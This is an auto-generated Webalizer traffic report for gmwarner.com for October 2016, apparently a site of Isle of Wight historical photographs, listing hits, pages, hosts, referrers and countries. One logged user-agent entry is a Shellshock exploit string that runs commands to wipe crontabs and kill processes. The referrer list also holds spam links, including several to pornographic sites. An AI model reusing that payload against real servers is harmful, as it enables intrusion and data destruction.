Usage Statistics for gmwarner.com

Summary Period: October 2016
Generated 01-Nov-2016 04:10 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2016
Total Hits 33120
Total Files 29149
Total Pages 27007
Total Visits 5672
Total KBytes 1290697
Total Unique Sites 2102
Total Unique URLs 732
Total Unique Referrers 1165
Total Unique User Agents 604
. Avg Max
Hits per Hour 44 462
Hits per Day 1068 1544
Files per Day 940 1370
Pages per Day 871 1233
Sites per Day 67 175
Visits per Day 182 227
KBytes per Day 41635 107373
Hits by Response Code
Code 200 - OK 88.01% 29149
Code 206 - Partial Content 1.53% 507
Code 301 - Moved Permanently 0.02% 7
Code 302 - Found 0.01% 2
Code 304 - Not Modified 3.09% 1023
Code 400 - Bad Request 0.05% 15
Code 403 - Forbidden 0.04% 12
Code 404 - Not Found 7.21% 2388
Code 405 - Method Not Allowed 0.01% 2
Code 500 - Internal Server Error 0.01% 3
Code 501 - Not Implemented 0.04% 12

Daily usage for October 2016

Daily Statistics for October 2016
Day Hits Files Pages Visits Sites KBytes
1 1111 3.35% 1031 3.54% 886 3.28% 170 3.00% 141 6.71% 37121 2.88%
2 1360 4.11% 1290 4.43% 1213 4.49% 165 2.91% 126 5.99% 29605 2.29%
3 1398 4.22% 1114 3.82% 1233 4.57% 193 3.40% 161 7.66% 64050 4.96%
4 1096 3.31% 1048 3.60% 970 3.59% 205 3.61% 162 7.71% 34456 2.67%
5 1225 3.70% 1145 3.93% 1027 3.80% 166 2.93% 139 6.61% 29116 2.26%
6 1202 3.63% 1084 3.72% 904 3.35% 196 3.46% 146 6.95% 80174 6.21%
7 1077 3.25% 720 2.47% 981 3.63% 163 2.87% 136 6.47% 17704 1.37%
8 848 2.56% 796 2.73% 701 2.60% 171 3.01% 112 5.33% 34382 2.66%
9 995 3.00% 883 3.03% 852 3.15% 193 3.40% 156 7.42% 30127 2.33%
10 986 2.98% 851 2.92% 804 2.98% 190 3.35% 143 6.80% 24977 1.94%
11 1544 4.66% 1370 4.70% 1168 4.32% 227 4.00% 175 8.33% 107373 8.32%
12 1043 3.15% 941 3.23% 874 3.24% 217 3.83% 158 7.52% 33717 2.61%
13 1161 3.51% 1073 3.68% 934 3.46% 192 3.39% 162 7.71% 39256 3.04%
14 1383 4.18% 1236 4.24% 1171 4.34% 185 3.26% 141 6.71% 38599 2.99%
15 1229 3.71% 1144 3.92% 1094 4.05% 204 3.60% 130 6.18% 33920 2.63%
16 1352 4.08% 1219 4.18% 1077 3.99% 208 3.67% 141 6.71% 49104 3.80%
17 1406 4.25% 1096 3.76% 1202 4.45% 173 3.05% 134 6.37% 50630 3.92%
18 1411 4.26% 1331 4.57% 1065 3.94% 193 3.40% 132 6.28% 103438 8.01%
19 1265 3.82% 1198 4.11% 1134 4.20% 178 3.14% 137 6.52% 32805 2.54%
20 1068 3.22% 977 3.35% 987 3.65% 160 2.82% 134 6.37% 19259 1.49%
21 1328 4.01% 1196 4.10% 1034 3.83% 213 3.76% 164 7.80% 78563 6.09%
22 853 2.58% 757 2.60% 645 2.39% 185 3.26% 157 7.47% 37692 2.92%
23 716 2.16% 616 2.11% 619 2.29% 163 2.87% 126 5.99% 20389 1.58%
24 636 1.92% 542 1.86% 523 1.94% 176 3.10% 151 7.18% 22137 1.72%
25 926 2.80% 808 2.77% 613 2.27% 181 3.19% 137 6.52% 37136 2.88%
26 823 2.48% 727 2.49% 658 2.44% 197 3.47% 144 6.85% 24560 1.90%
27 748 2.26% 662 2.27% 564 2.09% 168 2.96% 148 7.04% 36667 2.84%
28 756 2.28% 630 2.16% 472 1.75% 164 2.89% 139 6.61% 39317 3.05%
29 607 1.83% 505 1.73% 395 1.46% 166 2.93% 137 6.52% 37036 2.87%
30 545 1.65% 448 1.54% 356 1.32% 171 3.01% 155 7.37% 32991 2.56%
31 1022 3.09% 711 2.44% 851 3.15% 175 3.09% 144 6.85% 34397 2.66%

Hourly usage for October 2016

Hourly Statistics for October 2016
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 42 1324 4.00% 38 1208 4.14% 37 1166 4.32% 1471 45598 3.53%
1 42 1324 4.00% 39 1212 4.16% 35 1104 4.09% 1941 60173 4.66%
2 30 941 2.84% 26 820 2.81% 25 793 2.94% 991 30734 2.38%
3 42 1327 4.01% 38 1196 4.10% 36 1116 4.13% 929 28784 2.23%
4 50 1563 4.72% 39 1215 4.17% 43 1348 4.99% 1186 36770 2.85%
5 51 1597 4.82% 39 1237 4.24% 45 1402 5.19% 1148 35603 2.76%
6 43 1340 4.05% 32 1017 3.49% 34 1069 3.96% 2062 63917 4.95%
7 45 1403 4.24% 41 1276 4.38% 30 959 3.55% 2313 71698 5.55%
8 47 1463 4.42% 42 1327 4.55% 36 1140 4.22% 2593 80376 6.23%
9 53 1657 5.00% 48 1511 5.18% 39 1232 4.56% 3011 93333 7.23%
10 40 1257 3.80% 37 1148 3.94% 29 913 3.38% 1922 59585 4.62%
11 54 1703 5.14% 49 1545 5.30% 41 1298 4.81% 3036 94127 7.29%
12 43 1337 4.04% 39 1233 4.23% 32 998 3.70% 2273 70465 5.46%
13 59 1840 5.56% 45 1415 4.85% 47 1485 5.50% 2309 71583 5.55%
14 35 1098 3.32% 30 959 3.29% 27 847 3.14% 1550 48065 3.72%
15 49 1531 4.62% 43 1363 4.68% 41 1272 4.71% 1751 54289 4.21%
16 40 1265 3.82% 36 1125 3.86% 32 1021 3.78% 1404 43530 3.37%
17 41 1295 3.91% 35 1115 3.83% 31 983 3.64% 1580 48989 3.80%
18 49 1532 4.63% 45 1424 4.89% 42 1323 4.90% 1397 43302 3.35%
19 37 1173 3.54% 34 1075 3.69% 31 978 3.62% 1645 51010 3.95%
20 45 1421 4.29% 43 1347 4.62% 39 1217 4.51% 1833 56828 4.40%
21 37 1155 3.49% 33 1024 3.51% 32 1020 3.78% 883 27386 2.12%
22 38 1185 3.58% 34 1071 3.67% 34 1056 3.91% 778 24106 1.87%
23 44 1389 4.19% 41 1286 4.41% 40 1267 4.69% 1627 50449 3.91%

Top 30 of 732 Total URLs
# Hits KBytes URL
1 16508 49.84% 162433 12.58% /webalizer/
2 2316 6.99% 11538 0.89% /
3 666 2.01% 81636 6.32% /webalizer/usage_201609.html
4 501 1.51% 53924 4.18% /webalizer/usage_201610.html
5 149 0.45% 144 0.01% /cgi-bin/guestbook/guestbook.cgi
6 123 0.37% 15364 1.19% /webalizer/usage_201107.html
7 120 0.36% 980 0.08% /BranPrints.htm
8 120 0.36% 14930 1.16% /webalizer/usage_201207.html
9 106 0.32% 333 0.03% /VictPhot.htm
10 98 0.30% 25 0.00% /pages/Page-49-3_jpg.htm
11 91 0.27% 120 0.01% /VectisScIx.htm
12 90 0.27% 11379 0.88% /webalizer/usage_201405.html
13 85 0.26% 10261 0.80% /VicLifeWebPhotos/Page-43-7.jpg
14 69 0.21% 14152 1.10% /VectisScen-Pt1.htm
15 61 0.18% 207 0.02% /FamilyH.htm
16 58 0.18% 3563 0.28% /VectisScen-Pt2.htm
17 57 0.17% 236 0.02% /Ventphot1.htm
18 56 0.17% 9051 0.70% /VicLifeWebPhotos/Page-57-6.jpg
19 55 0.17% 14585 1.13% /IOWWebPhot2/Page-13-1_jpg.jpg
20 55 0.17% 9051 0.70% /VicLifeWebPhotos/Page-55-7.jpg
21 53 0.16% 3155 0.24% /IOWWebPhot2/images/Page-47-7_jpg.jpg
22 51 0.15% 92 0.01% /Links.htm
23 51 0.15% 5143 0.40% /ParkwallWebPhotos/pg34-1.jpg
24 51 0.15% 5891 0.46% /VicLifeWebPhotos/Page-50-2.jpg
25 46 0.14% 6865 0.53% /VicLifeWebPhotos/Page-50-5.jpg
26 46 0.14% 87 0.01% /shanklinphot1.htm
27 45 0.14% 213 0.02% /Vicphot1.htm
28 44 0.13% 3311 0.26% /VectisScen_files/image070.jpg
29 44 0.13% 8554 0.66% /VicLifeWebPhotos/Page-48-4.jpg
30 44 0.13% 428 0.03% /mm/stationery/StoryA/Ventnor-1web.jpg

Top 10 of 732 Total URLs By KBytes
# Hits KBytes URL
1 16508 49.84% 162433 12.58% /webalizer/
2 666 2.01% 81636 6.32% /webalizer/usage_201609.html
3 501 1.51% 53924 4.18% /webalizer/usage_201610.html
4 40 0.12% 29932 2.32% /VectisScen_files/brmapf1.jpg
5 31 0.09% 25609 1.98% /VectisScen_files/image041.jpg
6 42 0.13% 23715 1.84% /VectisScen_files/image011.jpg
7 4 0.01% 20393 1.58% /VectisScen_files/Ventnor-2a.jpg
8 21 0.06% 19015 1.47% /VectisScen_files/image029.jpg
9 35 0.11% 18764 1.45% /VicLifeWebPhotos/Page-57-2.jpg
10 29 0.09% 16604 1.29% /VectisScen_files/image039.jpg

Top 10 of 245 Total Entry Pages
# Hits Visits URL
1 2316 6.99% 2209 40.08% /
2 16508 49.84% 790 14.33% /webalizer/
3 666 2.01% 112 2.03% /webalizer/usage_201609.html
4 149 0.45% 91 1.65% /cgi-bin/guestbook/guestbook.cgi
5 120 0.36% 85 1.54% /BranPrints.htm
6 98 0.30% 79 1.43% /pages/Page-49-3_jpg.htm
7 91 0.27% 66 1.20% /VectisScIx.htm
8 106 0.32% 64 1.16% /VictPhot.htm
9 90 0.27% 64 1.16% /webalizer/usage_201405.html
10 501 1.51% 61 1.11% /webalizer/usage_201610.html

Top 10 of 244 Total Exit Pages
# Hits Visits URL
1 2316 6.99% 2158 39.24% /
2 16508 49.84% 765 13.91% /webalizer/
3 666 2.01% 133 2.42% /webalizer/usage_201609.html
4 149 0.45% 100 1.82% /cgi-bin/guestbook/guestbook.cgi
5 120 0.36% 91 1.65% /BranPrints.htm
6 98 0.30% 77 1.40% /pages/Page-49-3_jpg.htm
7 90 0.27% 64 1.16% /webalizer/usage_201405.html
8 501 1.51% 61 1.11% /webalizer/usage_201610.html
9 91 0.27% 52 0.95% /VectisScIx.htm
10 69 0.21% 48 0.87% /VectisScen-Pt1.htm

Top 30 of 2102 Total Sites
# Hits Files KBytes Visits Hostname
1 10296 31.09% 10296 35.32% 101302 7.85% 326 5.75% 195.88.16.114
2 3334 10.07% 3334 11.44% 32921 2.55% 25 0.44% 146.185.223.4
3 917 2.77% 917 3.15% 9024 0.70% 24 0.42% 195-154-216-79.rev.poneytelecom.eu
4 909 2.74% 909 3.12% 8947 0.69% 9 0.16% 93.170.130.251
5 486 1.47% 460 1.58% 2327 0.18% 4 0.07% blexhn23.webmeup.com
6 463 1.40% 93 0.32% 739 0.06% 309 5.45% b115456.yse.yahoo.net
7 360 1.09% 360 1.24% 37353 2.89% 2 0.04% ec2-52-8-133-202.us-west-1.compute.amazonaws.com
8 347 1.05% 2 0.01% 12 0.00% 4 0.07% 31.184.195.89
9 247 0.75% 19 0.07% 34 0.00% 19 0.33% cpc92302-cmbg19-2-0-cust1109.5-4.cable.virginm.net
10 233 0.70% 224 0.77% 1128 0.09% 2 0.04% redline-shop.tradesoft.ru
11 230 0.69% 223 0.77% 653 0.05% 3 0.05% static.176.148.243.136.clients.your-server.de
12 228 0.69% 220 0.75% 646 0.05% 1 0.02% 104.131.8.234
13 228 0.69% 220 0.75% 646 0.05% 1 0.02% 45.55.135.114
14 227 0.69% 220 0.75% 646 0.05% 1 0.02% static.35.63.76.144.clients.your-server.de
15 217 0.66% 212 0.73% 13350 1.03% 55 0.97% 93-127-19-11.static.vega-ua.net
16 215 0.65% 164 0.56% 580 0.04% 1 0.02% crawl04.lp.007ac9.net
17 215 0.65% 164 0.56% 580 0.04% 1 0.02% crawl07.lp.007ac9.net
18 215 0.65% 164 0.56% 580 0.04% 1 0.02% crawl08.lp.007ac9.net
19 179 0.54% 144 0.49% 10871 0.84% 63 1.11% msnbot-157-55-39-156.search.msn.com
20 177 0.53% 173 0.59% 27289 2.11% 8 0.14% 192.243.55.135
21 173 0.52% 124 0.43% 16984 1.32% 55 0.97% crawl-66-249-73-160.googlebot.com
22 160 0.48% 160 0.55% 10593 0.82% 14 0.25% 178-137-84-219-broadband.kyivstar.net
23 159 0.48% 157 0.54% 25065 1.94% 8 0.14% 192.243.55.129
24 154 0.46% 153 0.52% 21950 1.70% 8 0.14% 192.243.55.131
25 150 0.45% 148 0.51% 33569 2.60% 7 0.12% 192.243.55.132
26 149 0.45% 95 0.33% 9138 0.71% 62 1.09% crawl-66-249-73-164.googlebot.com
27 147 0.44% 147 0.50% 19617 1.52% 10 0.18% 192.243.55.133
28 146 0.44% 146 0.50% 971 0.08% 2 0.04% cpc85402-aztw29-2-0-cust184.18-1.cable.virginm.net
29 141 0.43% 90 0.31% 6553 0.51% 68 1.20% crawl-66-249-73-168.googlebot.com
30 139 0.42% 137 0.47% 20851 1.62% 11 0.19% 192.243.55.137

Top 10 of 2102 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 10296 31.09% 10296 35.32% 101302 7.85% 326 5.75% 195.88.16.114
2 360 1.09% 360 1.24% 37353 2.89% 2 0.04% ec2-52-8-133-202.us-west-1.compute.amazonaws.com
3 150 0.45% 148 0.51% 33569 2.60% 7 0.12% 192.243.55.132
4 3334 10.07% 3334 11.44% 32921 2.55% 25 0.44% 146.185.223.4
5 136 0.41% 134 0.46% 29461 2.28% 7 0.12% 192.243.55.134
6 177 0.53% 173 0.59% 27289 2.11% 8 0.14% 192.243.55.135
7 159 0.48% 157 0.54% 25065 1.94% 8 0.14% 192.243.55.129
8 154 0.46% 153 0.52% 21950 1.70% 8 0.14% 192.243.55.131
9 134 0.40% 133 0.46% 21140 1.64% 11 0.19% 192.243.55.138
10 139 0.42% 137 0.47% 20851 1.62% 11 0.19% 192.243.55.137

Top 30 of 1165 Total Referrers
# Hits Referrer
1 11825 35.70% - (Direct Request)
2 707 2.13% http://iphone-ipad-mac.xyz
3 495 1.49% http://find-way.net
4 464 1.40% http://juliaworld.net
5 450 1.36% https://feel-planet.com
6 448 1.35% http://garciniacambogiabenefits.biz
7 448 1.35% http://juliadiets.com
8 440 1.33% http://essay-zone.com
9 302 0.91% http://sell-out.org
10 301 0.91% https://www.google.co.uk/
11 286 0.86% http://miledy.biz
12 197 0.59% http://turothyli.wordpress.com
13 163 0.49% http://anchabmumi.wordpress.com
14 141 0.43% https://www.bing.com/
15 101 0.30% http://essaybuyonlineusa.xyz/
16 101 0.30% http://paperbuyonlineusa.xyz/
17 98 0.30% http://www.bing.com/images/search
18 68 0.21% https://www.google.com/
19 60 0.18% http://krestikdominika.ru/massazh/filmi-onlayn-smotret-erotika-izmena.php
20 60 0.18% http://rencontres.ru/ekzoticheskoe-porno/interesnaya-eroticheskaya-kniga.php
21 60 0.18% http://ru-sait.ru/ekzotika/seks-po-vsey-kamasutre.php
22 52 0.16% http://maxalat.webnode.es/
23 48 0.14% http://vulkansauna.ru/latina/molodezh-snimaet-porno-video.php
24 47 0.14% http://lyrica.ampedpages.com/
25 39 0.12% http://arh-krepost.ru/bryunetki/samie-krasivie-golie-devushki-smotret.php
26 38 0.11% http://nnlg.ru/hardkor/yutub-video-erotik.php
27 38 0.11% http://nnlg.ru/rizhevolosie/seks-s-plevkom-v-rot.php
28 37 0.11% http://kras-ino.ru/pornstars/ebetsya-s-mashinoy.php
29 31 0.09% http://nnlg.ru/porno-zvezdi/pezdi-zhenshin-foto.php
30 30 0.09% http://all4webs.com/naltrexone/

Top 2 of 2 Total Search Strings
# Hits Search String
1 1 50.00% picturesque rock watcombe bay wight
2 1 50.00% www.gmwarner.com

Top 15 of 604 Total User Agents
# Hits User Agent
1 10352 31.26% Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
2 1627 4.91% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
3 1431 4.32% Mozilla/5.0 (compatible; SemrushBot/1.1~bl; +http://www.semrush.com/bot.html)
4 1118 3.38% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
5 847 2.56% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
6 566 1.71% Googlebot-Image/1.0
7 486 1.47% Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
8 463 1.40% Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
9 456 1.38% Mozilla/5.0 (compatible; spbot/5.0.3; +http://OpenLinkProfiler.org/bot )
10 405 1.22% Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safa
11 333 1.01% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"crontab -r ; killall -9 perl ; cd
12 328 0.99% Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1
13 325 0.98% Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)
14 288 0.87% Safari/12602.1.50.0.10 CFNetwork/807.0.4 Darwin/16.0.0 (x86_64)
15 263 0.79% Mozilla/5.0 (compatible; SeznamBot/3.2; +http://napoveda.seznam.cz/en/seznambot-intro/)

Usage by Country for October 2016

Top 30 of 65 Total Countries
# Hits Files KBytes Country
1 18449 55.70% 17758 60.92% 492415 38.15% Unresolved/Unknown
2 7717 23.30% 6409 21.99% 503087 38.98% Commercial (com)
3 3535 10.67% 2651 9.09% 173843 13.47% Network (net)
4 1200 3.62% 1156 3.97% 35923 2.78% European Union
5 626 1.89% 461 1.58% 21639 1.68% Russian Federation
6 623 1.88% 588 2.02% 4391 0.34% Germany
7 289 0.87% 262 0.90% 14187 1.10% Ukraine
8 266 0.80% 23 0.08% 3302 0.26% Czech Republic
9 79 0.24% 78 0.27% 14518 1.12% United Kingdom
10 38 0.11% 35 0.12% 546 0.04% Belarus
11 32 0.10% 16 0.05% 442 0.03% Brazil
12 27 0.08% 17 0.06% 1915 0.15% Non-Profit (org)
13 21 0.06% 21 0.07% 7013 0.54% Australia
14 21 0.06% 20 0.07% 2784 0.22% Switzerland
15 17 0.05% 9 0.03% 1106 0.09% Educational (edu)
16 16 0.05% 15 0.05% 1273 0.10% Netherlands
17 12 0.04% 9 0.03% 430 0.03% France
18 10 0.03% 10 0.03% 0 0.00% Address Routing (arpa)
19 9 0.03% 1 0.00% 26 0.00% Hungary
20 9 0.03% 8 0.03% 373 0.03% Poland
21 7 0.02% 7 0.02% 789 0.06% Estonia
22 7 0.02% 3 0.01% 20 0.00% British Indian Ocean Territory
23 6 0.02% 6 0.02% 15 0.00% Ireland
24 6 0.02% 6 0.02% 381 0.03% India
25 6 0.02% 6 0.02% 645 0.05% Italy
26 5 0.02% 3 0.01% 477 0.04% Lithuania
27 5 0.02% 5 0.02% 573 0.04% New Zealand
28 5 0.02% 5 0.02% 324 0.03% Sweden
29 5 0.02% 4 0.01% 313 0.02% Tokelau
30 5 0.02% 4 0.01% 1492 0.12% Turkey


Generated by Webalizer Version 2.20